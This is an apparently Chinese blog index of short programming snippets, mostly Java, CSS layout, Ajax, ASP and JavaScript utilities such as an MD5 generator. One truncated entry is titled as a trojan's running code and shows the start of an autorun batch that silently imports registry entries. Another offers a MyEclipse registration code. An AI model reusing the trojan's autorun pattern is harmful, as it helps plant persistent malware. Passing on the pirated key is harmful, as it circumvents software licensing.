HelloWorld.java: ————— […]
用JAVA取得本机的ip和机器名
//iplabel.java import java.net.*; import java.awt.*; im […]
将jpg图片文件,进行等比或非等比的大小转换
import java.io.*; import java.util.*; import com.sun.im […]
Oracle如何返回指定行数之间的查询结果
如何返回指定行数之间的查询结果,以实现web记录分页,在Oracle中有许多的方法,这里仅仅列出了4种,希 […]
JSP常用中文问题总结
Spring MVC与Veclocity结合中文问题及常用中文问题总结 07月08日(星期五) 昨天在整合Sp […]
JSPSmart上传组件的使用
jspsmart的使用 上传 // 新建一个SmartUpload对象 SmartUpload su = ne […]
JAVA中的时间操作函数
//字符串转化成时间类型(字符串可以是任意类型,只要和SimpleDateFormat中的格式一致即可) ja […]
JAVA合容器使用示例
import java.util.*; public class JAVAContainer { public […]
MyEclipse5.0M1注册码
MyEclipse5.0M1注册码 Subscriber: www.1cn.biz Subscriber Co […]
一些基本查询语法
Criteria crit = sess.createCriteria(Cat.class); crit.se […]
CSS注意事项
为了给标题做标记, 要用<h1>、<h2>、 <h3>、<h4> […]
CSS特效字与CSS滤镜介绍
<link rel=”stylesheet” type=”text/ […]
CSS特效字
[code] <link rel=”stylesheet” type=̶ […]
CSS滚动条
绿色滚动条
1 2 3 4 |
浅绿色 <style> body {SCROLLBAR-FACE-COLOR: #dfefcf; SCROLLBAR-HIGHLIGHT-COLOR: #339966; SCROLLBAR-SHADOW-COLOR: #339966; SCROLLBAR-3DLIGHT-COLOR: #FFFFFF; SCROLLBAR-ARROW-COLOR: #112200; SCROLLBAR-TRACK-COLOR: white; SCROLLBAR-DARKSHADOW-COLOR: #FFFFFF; } .opacity {FILTER: alpha(opacity=100) </style> |
[crayon-686a8306 […]
典型的三行二列居中高度自适应布局
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
<html> <head> <style type="text/css"> body{ background:#999; text-align:center; color: #333; font-family:arial,verdana,sans-serif; } #header{ width:776px; margin-right: auto; margin-left: auto; padding: 0px; background: #EEE; height:60px; text-align:left; } #contain{ margin-right: auto; margin-left: auto; width: 776px; } #mainbg{ width:776px; padding: 0px; background: #60A179; float: left; } #right{ float: right; margin: 2px 0px 2px 0px; padding:0px; width: 574px; background: #ccd2de; text-align:left; } #left{ float: left; margin: 2px 2px 0px 0px; padding: 0px; background: #F2F3F7; width: 200px; text-align:left; } #footer{ clear:both; width:776px; margin-right: auto; margin-left: auto; padding: 0px; background: #EEE; height:60px;} .text{margin:0px;padding:20px;} </style> </head> <body> <div id="header">header</div> <div id="contain"> <div id="mainbg"> <div id="right"> <div class="text">right<p>1</p><p>1</p><p>1</p><p>1</p><p>1</p></div> </div> <div id="left"> <div class="text">left</div> </div> </div> </div> <div id="footer">footer</div> </body> </html> |
左中右3栏布局中最先显示中栏内容的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
<!DOCTYPE html PUBLIC "-//W。3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="gb2312"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <meta http-equiv="Content-Language" content="gb2312" /> <meta content="all" name="robots" /> <meta name="author" content="designed by dodo at donews.com" /> <title>WEB标准网站设计实例:左中右3栏布局中最先显示中栏内容的方法</title> </head> <style> body{font-size:12px;} div{color:#fff} #m{padding-left:150px} #middle{position:absolute; background:red;width:468px; margin-right: auto; margin-left: auto; padding: 0px; } #left{float:left;background:green;width:140px;height:30px} #right{float:right;background:blue;width:140px} #all{width:770px; margin-right: auto; margin-left: auto; padding: 0px; color: #000; background:#ffa200;} #footer{clear:both;background:#808080;color:#fff} </style> <body> <div id="all"> <div id="m"> <div id="middle"> 中栏<br /> ·IT人的出路系列思考(三): 提升学习能力与可持 .. [陈国华] 11日 ·alexa上,黑客的下一个目标是谁? [阮颖] 11日 ·IT人的出路系列思考(二):思维创新战略与谋定 .. [陈国华] 11日 ·IT人的出路系列思考(一):项目与打工 [陈国华] 11日 ·希捷加入后的新一代笔记本选购规则 [新华美通] 11日 ·木子美:挣扎出历史的海面透一口气 [周晶波] 11日 ·首家推出出租房源、二手房源的RSS订阅服务 [鳖兔鳖] 11日 ·TOM 在线公布二○○五年第一季度之业绩报告 [新华美通] 11日 ·黄华:我们有必要开会吗? [黄华] 11日 ·IT人的出路系列思考(三): 提升学习能力与可持 .. [陈国华] 11日 ·alexa上,黑客的下一个目标是谁? [阮颖] 11日 ·IT人的出路系列思考(二):思维创新战略与谋定 .. [陈国华] 11日 ·IT人的出路系列思考(一):项目与打工 [陈国华] 11日 ·希捷加入后的新一代笔记本选购规则 [新华美通] 11日 ·木子美:挣扎出历史的海面透一口气 [周晶波] 11日 ·首家推出出租房源、二手房源的RSS订阅服务 [鳖兔鳖] 11日 ·TOM 在线公布二○○五年第一季度之业绩报告 [新华美通] 11日 ·黄华:我们有必要开会吗? [黄华] 11日 </div> </div> <div id="left">左栏</div> <div id="right">右栏<br /> </div> <div id="footer">网页底部</div> </div> <script language="javascript"> document.getElementById("left").style.height=document.getElementById("middle").scrollHeight+"px" document.getElementById("right").style.height=document.getElementById("middle").scrollHeight+"px" </script> </body> </html> |
Ajax应用:异步获取历史上的今天
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 |
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>Ajax应用:异步获取历史上的今天</title> <script language="javascript"> //Ajax远程获取滚动条样式 var http_request = false; function makeRequest(url) { http_request = false; //Loading提示: document.getElementById("historyText").innerHTML = "正在读取…"; if (window.XMLHttpRequest) { // Mozilla, Safari,... http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) { http_request.overrideMimeType("text/xml"); } } else if (window.ActiveXObject) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!http_request) { document.getElementById("historyText").innerHTML = "无法创建XMLHTTP实例!"; //alert("Giving up :( Cannot create an XMLHTTP instance"); return false; } d = new Date(); // 创建 Date 对象。 s = "temp"; s += d.getYear(); // 获取年份。 s += d.getMonth() + 1; // 获取月份。 s += d.getDate(); // 获取日。 s += d.getHours(); // 获取小时。 s += d.getMinutes(); // 获取分钟。 s += d.getSeconds(); // 获取秒数。 url = "todayOnHistory_Proxy.asp?tempVar=" + s; http_request.onreadystatechange = alertContents; http_request.open("GET", url, true); http_request.send(null); } function alertContents() { if (http_request.readyState == 4) { if (http_request.status == 200) { document.getElementById("historyText").innerHTML = http_request.responseText; } else { document.getElementById("historyText").innerHTML = "数据读取失败!"; } } } </script> <style type="text/css"> body,td{font-size:14px;color:#000000;} a:link,a:visited{font-size:14px;color:#000000; text-decoration:underline} a:hover{font-size:14px;color:#0046D5; text-decoration:underline} .style22{ width: 800px; height: 100px; margin: 0px auto; margin-bottom:20px; border:1px solid #DEDEB8; background-color: #FDFFF2 } </style> </head> <body onload="makeRequest()"> <fieldset style="width:400px"> <legend>Today on history:</legend> <div id="historyText" style="padding:10px"> </div> </fieldset> </body> </html> |
ASP页面防止刷新
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<% Dim RefreshIntervalTime RefreshIntervalTime = 3 '防止刷新的时间秒数,0表示不防止 If Not IsEmpty(Session("visit")) And IsNumeric(Session("visit")) And Int(RefreshIntervalTime) > 0 Then If (Timer() - Int(Session("visit"))) * 1000 < RefreshIntervalTime * 1000 Then Response.Write ("<meta http-equiv=""refresh"" content="""& RefreshIntervalTime &""" />") Response.Write("呵呵,老朋友,您点得实在太快了,我会很累的啊,为了能更好的为您服务,请不要在3秒内连续点击*^_^*。谢谢您的关心!正在打开页面,请稍候……") Session("visit") = Timer() Response.End End If End If Session("visit") = Timer() %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Asp 防止网页频繁刷新一法</title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <link rel="stylesheet" type="text/css" href="style.css"> <style type="text/css"> </style> </head> <body style="background-color:#666666;font-size:36pt;font-family:黑体;color:#FFFFFF;"> 页面内容,页面内容 <%=timer()%> </body> </html> |
JavaScript生产MD5码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 |
<label> 明文 <input id='iput' value='admin888' maxlength="40" size="44"> </label> <label> 密文 <input id='oput' value="" maxlength="40" size="44"> </label> <input type='button' value='生成16位md5密码' id='md5_16' onclick="javascript:oput.value=calcMD5(iput.value,16)"> <input type='button' value='生成32位md5密码' id='md5_32' onclick="javascript:oput.value=calcMD5(iput.value,32)"> <script> /* * * * * * * * * * * * * * * * * * * * md5.js * * A JavaScript implementation of the RSA Data Security, Inc.MD5 * Message - Digest Algorithm. * * Copyright(C) Paul Johnston 1999.Distributed under the LGPL. * * * * * * * */ / * to convert strings to a list of ascii values * / var sAscii = "!#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; var sAscii = sAscii + "[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"; /* convert integer to hex string */ var sHex = "0123456789ABCDEF"; function hex(i) { h = ""; for (j = 0; j <= 3; j++) { h += sHex.charAt((i >> (j * 8 + 4)) & 0x0F) + sHex.charAt((i >> (j * 8)) & 0x0F); } return h; } /* add, handling overflows correctly */ function add(x, y) { return ((x & 0x7FFFFFFF) + (y & 0x7FFFFFFF)) ^ (x & 0x80000000) ^ (y & 0x80000000); } /* MD5 rounds functions */ function R1(A, B, C, D, X, S, T) { q = add(add(A, (B & C) | (~B & D)), add(X, T)); return add((q << S) | ((q >> (32 - S)) & (Math.pow(2, S) - 1)), B); } function R2(A, B, C, D, X, S, T) { q = add(add(A, (B & D) | (C & ~D)), add(X, T)); return add((q << S) | ((q >> (32 - S)) & (Math.pow(2, S) - 1)), B); } function R3(A, B, C, D, X, S, T) { q = add(add(A, B ^ C ^ D), add(X, T)); return add((q << S) | ((q >> (32 - S)) & (Math.pow(2, S) - 1)), B); } function R4(A, B, C, D, X, S, T) { q = add(add(A, C ^ (B | ~D)), add(X, T)); return add((q << S) | ((q >> (32 - S)) & (Math.pow(2, S) - 1)), B); } /* main entry point */ function calcMD5(sInp, typemd5) { /* Calculate length in machine words, including padding */ wLen = (((sInp.length + 8) >> 6) + 1) << 4; var X = new Array(wLen); /* Convert string to array of words */ j = 4; for (i = 0; (i * 4) < sInp.length; i++) { X[i] = 0; for (j = 0;(j < 4) && ((j + i * 4) < sInp.length); j++) { X[i] += (sAscii.indexOf(sInp.charAt((i * 4) + j)) + 32) << (j * 8); } } /* Append padding bits and length */ if (j == 4) { X[i++] = 0x80; } else { X[i - 1] += 0x80 << (j * 8); } for (; i < wLen; i++) { X[i] = 0; } X[wLen - 2] = sInp.length * 8; /* hard-coded initial values */ a = 0x67452301; b = 0xefcdab89; c = 0x98badcfe; d = 0x10325476; /* Process each 16-word block in turn */ for (i = 0; i < wLen; i += 16) { aO = a; bO = b; cO = c; dO = d; a = R1(a, b, c, d, X[i + 0], 7, 0xd76aa478); d = R1(d, a, b, c, X[i + 1], 12, 0xe8c7b756); c = R1(c, d, a, b, X[i + 2], 17, 0x242070db); b = R1(b, c, d, a, X[i + 3], 22, 0xc1bdceee); a = R1(a, b, c, d, X[i + 4], 7, 0xf57c0faf); d = R1(d, a, b, c, X[i + 5], 12, 0x4787c62a); c = R1(c, d, a, b, X[i + 6], 17, 0xa8304613); b = R1(b, c, d, a, X[i + 7], 22, 0xfd469501); a = R1(a, b, c, d, X[i + 8], 7, 0x698098d8); d = R1(d, a, b, c, X[i + 9], 12, 0x8b44f7af); c = R1(c, d, a, b, X[i + 10], 17, 0xffff5bb1); b = R1(b, c, d, a, X[i + 11], 22, 0x895cd7be); a = R1(a, b, c, d, X[i + 12], 7, 0x6b901122); d = R1(d, a, b, c, X[i + 13], 12, 0xfd987193); c = R1(c, d, a, b, X[i + 14], 17, 0xa679438e); b = R1(b, c, d, a, X[i + 15], 22, 0x49b40821); a = R2(a, b, c, d, X[i + 1], 5, 0xf61e2562); d = R2(d, a, b, c, X[i + 6], 9, 0xc040b340); c = R2(c, d, a, b, X[i + 11], 14, 0x265e5a51); b = R2(b, c, d, a, X[i + 0], 20, 0xe9b6c7aa); a = R2(a, b, c, d, X[i + 5], 5, 0xd62f105d); d = R2(d, a, b, c, X[i + 10], 9, 0x2441453); c = R2(c, d, a, b, X[i + 15], 14, 0xd8a1e681); b = R2(b, c, d, a, X[i + 4], 20, 0xe7d3fbc8); a = R2(a, b, c, d, X[i + 9], 5, 0x21e1cde6); d = R2(d, a, b, c, X[i + 14], 9, 0xc33707d6); c = R2(c, d, a, b, X[i + 3], 14, 0xf4d50d87); b = R2(b, c, d, a, X[i + 8], 20, 0x455a14ed); a = R2(a, b, c, d, X[i + 13], 5, 0xa9e3e905); d = R2(d, a, b, c, X[i + 2], 9, 0xfcefa3f8); c = R2(c, d, a, b, X[i + 7], 14, 0x676f02d9); b = R2(b, c, d, a, X[i + 12], 20, 0x8d2a4c8a); a = R3(a, b, c, d, X[i + 5], 4, 0xfffa3942); d = R3(d, a, b, c, X[i + 8], 11, 0x8771f681); c = R3(c, d, a, b, X[i + 11], 16, 0x6d9d6122); b = R3(b, c, d, a, X[i + 14], 23, 0xfde5380c); a = R3(a, b, c, d, X[i + 1], 4, 0xa4beea44); d = R3(d, a, b, c, X[i + 4], 11, 0x4bdecfa9); c = R3(c, d, a, b, X[i + 7], 16, 0xf6bb4b60); b = R3(b, c, d, a, X[i + 10], 23, 0xbebfbc70); a = R3(a, b, c, d, X[i + 13], 4, 0x289b7ec6); d = R3(d, a, b, c, X[i + 0], 11, 0xeaa127fa); c = R3(c, d, a, b, X[i + 3], 16, 0xd4ef3085); b = R3(b, c, d, a, X[i + 6], 23, 0x4881d05); a = R3(a, b, c, d, X[i + 9], 4, 0xd9d4d039); d = R3(d, a, b, c, X[i + 12], 11, 0xe6db99e5); c = R3(c, d, a, b, X[i + 15], 16, 0x1fa27cf8); b = R3(b, c, d, a, X[i + 2], 23, 0xc4ac5665); a = R4(a, b, c, d, X[i + 0], 6, 0xf4292244); d = R4(d, a, b, c, X[i + 7], 10, 0x432aff97); c = R4(c, d, a, b, X[i + 14], 15, 0xab9423a7); b = R4(b, c, d, a, X[i + 5], 21, 0xfc93a039); a = R4(a, b, c, d, X[i + 12], 6, 0x655b59c3); d = R4(d, a, b, c, X[i + 3], 10, 0x8f0ccc92); c = R4(c, d, a, b, X[i + 10], 15, 0xffeff47d); b = R4(b, c, d, a, X[i + 1], 21, 0x85845dd1); a = R4(a, b, c, d, X[i + 8], 6, 0x6fa87e4f); d = R4(d, a, b, c, X[i + 15], 10, 0xfe2ce6e0); c = R4(c, d, a, b, X[i + 6], 15, 0xa3014314); b = R4(b, c, d, a, X[i + 13], 21, 0x4e0811a1); a = R4(a, b, c, d, X[i + 4], 6, 0xf7537e82); d = R4(d, a, b, c, X[i + 11], 10, 0xbd3af235); c = R4(c, d, a, b, X[i + 2], 15, 0x2ad7d2bb); b = R4(b, c, d, a, X[i + 9], 21, 0xeb86d391); a = add(a, aO); b = add(b, bO); c = add(c, cO); d = add(d, dO); } if (typemd5 == 32) { return hex(a) + hex(b) + hex(c) + hex(d); } if (typemd5 == 16) { return hex(b) + hex(c); } } </script> |
一个木马的运行代码
autorun.bat @echo off if exist .autorun.reg regedit /s […]
数值计算(4舍5入后取i位小数)
//4舍5入后取i位小数 function selectedPoint(value,i) { return p […]
按键转换(回车输入为Tab输入)
//转换回车输入为Tab输入,转向下一个元素 ?function keyDown(DnEvents){ ? ? […]
窗口操作
//在fmain页面上显示帮助页面 //系统在设计中提供在线帮助,在线帮助为一可以移动的div,在fmain页 […]
鼠标移动经过TR时变色
//鼠标移动经过tr时变色 ?var rowbgcolor = ‘#ffffff’; […]
select元素操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
//获得select元素当前选中的值 //输入参数:select表单元素 //返回:字符串 //get the value from select that selected function getSelectValue(selobj) { if (selobj.options.length == 0 || selobj.selectedIndex == -1) return null; var str; str = selobj.options[selobj.selectedIndex].value; return str; } //获得select元素当前选中的文本 //输入参数:select表单元素 //返回:字符串 //get the text from select that selected function getSelectText(selobj) { if (selobj.options.length == 0 || selobj.selectedIndex == -1) return null; var str; str = selobj.options[selobj.selectedIndex].text; return str; } function getSelectValueArray(selobj) { var selNums = 0; for (var i = 0; i < selobj.options.length; i++) if (selobj.options[i].selected) selNums++; var options = new Array(selNums); var n = 0; for (var i = 0; i < selobj.options.length; i++) if (selobj.options[i].selected) options[n++] = selobj.options[i].value; return options; } //选中select指定选项,如果不存在不做处理 function selectedOne(selobj, value) { var len = selobj.options.length; if (len == 0) return false; for (i = 0; i < len; i++) { if (selobj.options[i].value == value) selobj.options[i].selected = true; } return true; } |